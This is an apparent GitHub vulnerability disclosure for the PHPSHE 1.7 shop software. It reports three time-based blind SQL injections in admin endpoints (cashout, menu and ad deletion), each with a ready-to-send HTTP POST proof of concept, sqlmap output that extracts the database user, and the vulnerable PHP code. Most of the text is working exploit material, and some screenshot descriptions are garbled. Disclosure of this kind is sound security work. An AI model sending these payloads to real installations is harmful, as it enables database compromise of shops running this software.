

master

...

vuln / Phpshe1.7\_sql1.md

lemon666 Update Phpshe1.7\_sql1.md History

1 contributor

85 lines (72 sloc) | 3.21 KB

# SQL1

PHPSHE V1.7 is vulnerable to SQL injection vulnerabilities. Attackers can inject sql statement via the cashout\_id[] parameter to the server.

Poc:

```
POST /phpshe/admin.php?mod=cashout&act=success HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpshe/admin.php?mod=cashout&state=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Cookie: PHPSESSID=0a97c3f86f5b63a3e74ffcdf1c70b59c
Connection: close
Upgrade-Insecure-Requests: 1

cashout_id%5B%5D=1')+and+IF(1=1,sleep(2),1)+and+('1'='1
```

The screenshot shows the Burp Suite interface with the 'Request' and 'Response' tabs. The 'Request' tab displays an HTTP 1.1 GET request to `http://localhost/phpmod=cashout&ect=sucess`. The 'Response' tab displays an HTTP 1.1 200 OK response. At the bottom of the interface, there is a search bar with the text 'Type a search term' and a 'Matches' button, which is highlighted by a red arrow.

The screenshot displays a web browser window with two tabs: 'Request' and 'Response'. The 'Request' tab is active, showing an HTTP 1.1 GET request to 'http://localhost/phpinfo.php'. The 'Response' tab is also visible, showing an HTTP 1.1 200 OK response from the Apache server. A red arrow points to the 'Response' tab.

```
Parameter: #1* ((custom) POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: cashout_id[=1'] AND SLEEP(5) AND ('kWxE'='kWxE

---
[15:23:10] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.37, Apache 2.2.34
back-end DBMS: MySQL >= 5.0.12
[15:23:10] [INFO] fetching current user
[15:23:10] [INFO] resuming partial value: root@
[15:23:10] [WARNING] time-based comparison requires larger statistical model, please wait..
..... (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-seco
)? [Y/n] n
[15:23:17] [WARNING] it is very important to not stress the network connection during usage
of time-based payloads to prevent potential disruptions
localhost
current user: 'root@localhost'
```

where the vulnerability exist: `module/admin/cashout.php`

```

1 </php>
2 $enumark = 'cashout';
3 switch ($act) {
4     //===== 验证开关 =====
5     case 'open':
6         if ($db->pe_update('setting', array('setting_key'=>'cashout_isopen'), array('setting_value'=>intval($g_open))) {
7             pe_lead('hook/cache.hook.php');
8             cache_write('setting');
9             pe_success('操作成功!');
10         }
11         else {
12             pe_error('操作失败...');
13         }
14         break;
15     //===== 审核通过 =====
16     case 'success':
17         $cashout_id = is_array($p_cashout_id) ? $p_cashout_id : $g_id;
18         $cashout_list = $db->pe_selectall('cashout', array('cashout_id'=>$cashout_id));
19         foreach ($cashout_list as $v) {
20             $info = $db->pe_select('cashout', array('cashout_id'=>$v['cashout_id']));
21             if ($info['cashout_state']) continue;
22             $db->pe_update('cashout', array('cashout_id'=>$info['cashout_id']), array('cashout_state'=>1, 'cashoutptime'=>time()));
23         }
24         pe_success('审核成功!');
25     }
26 }
27 break;

```

PHPSHE V1.7 is vulnerable to SQL injection vulnerabilities. Attackers can inject sql statement via the menu id[] parameter to the server.

```
POST /phpshe/admin.php?mod=menu&act=del&token=1dc02be6d9710d51e89a116af232dced HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpshe/admin.php?mod=menu
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Cookie: PHPSESSID=0a97c3f86f5b63a3e74ffcdf1c70b59c
Connection: close
Upgrade-Insecure-Requests: 1
```

menu\_order%5B1%5D=1&menu\_order%5B2%5D=2&menu\_order%5B3%5D=3&menu\_order%5B4%5D=4&menu\_id%5B%5D=6'+and+IF(1=1,sleep(2),1)+and+'1'='1&me



vulnerability verification:

```
1. bash
[16:19:53] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: menu_order[1]=1&menu_order[2]=2&menu_order[3]=3&menu_order[4]=4&menu_id[]=6' AND SLEEP(5)
AND 'zyPN'='zyPN&menu_order[6]=6
---
[16:20:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.37, Apache 2.2.34
back-end DBMS: MySQL >= 5.0.12
[16:20:45] [INFO] fetching current user
[16:20:45] [INFO] retrieved:
[16:20:45] [WARNING] it is very important to not stress the network connection during usage of time-based
payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[16:21:37] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost' ←
```

the lines of code

where the vulnerability exist: module/admin/menu.php

```
53 //##### 导航删除 #####
54 case 'del':
55     pe_token_match();
56     $menu_id = is_array($p_menu_id) ? $p_menu_id : intval($g_id);
57     if ($db->pe_delete('menu', array('menu_id'=>$menu_id)) {
58         cache_write('menu');
59         pe_success('删除成功!');
60     }
61     else {
62         pe_error('删除失败...');
63     }
64     break;
```

## SQL3

PHPSHE V1.7 is vulnerable to SQL injection vulnerabilities. Attackers can inject sql statement via the ad\_id[] parameter to the server.

Poc:

```
POST /phpshe/admin.php?mod=ad&act=del&token=1dc02be6d9710d51e89a116af232dced HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpshe/admin.php?mod=ad
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: PHPSESSID=0a97c3f86f5b63a3e74ffcdf1c70b59c
Connection: close
Upgrade-Insecure-Requests: 1

ad_id%5B%5D=17'+and+IF(1=1,sleep(2),1)+and+'1'='1&ad_order%5B17%5D=0&ad_order%5B16%5D=0&ad_order%5B12%5D=0&ad_order%5B18%5D=3
```

vulnerability verification:

```
[16:30:19] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: ad_id[]=17' AND SLEEP(5) AND 'kjlA'='kjlA&ad_order[17]=0&ad_order[16]=0&ad_order[12]=0&ad_order[18]=3
---
[16:32:43] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.37, Apache 2.2.34
back-end DBMS: MySQL >= 5.0.12
[16:32:43] [INFO] fetching current user
[16:32:43] [INFO] retrieved:
[16:32:43] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[16:34:53] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
```

the lines of code

where the vulnerability exist: module/admin/ad.php

```
82 //#####// 广告删除 //#####//
83 case 'del':
84     pe_token_match();
85     $ad_id = is_array($_p_ad_id) ? $_p_ad_id : intval($_g_id);
86     if ($db->pe_delete('ad', array('ad_id'=>$ad_id))) {
87         cache_write('ad');
88         pe_success('删除成功!');
89     }
90     else {
91         pe_error('删除失败...');
92     }
93 break;
```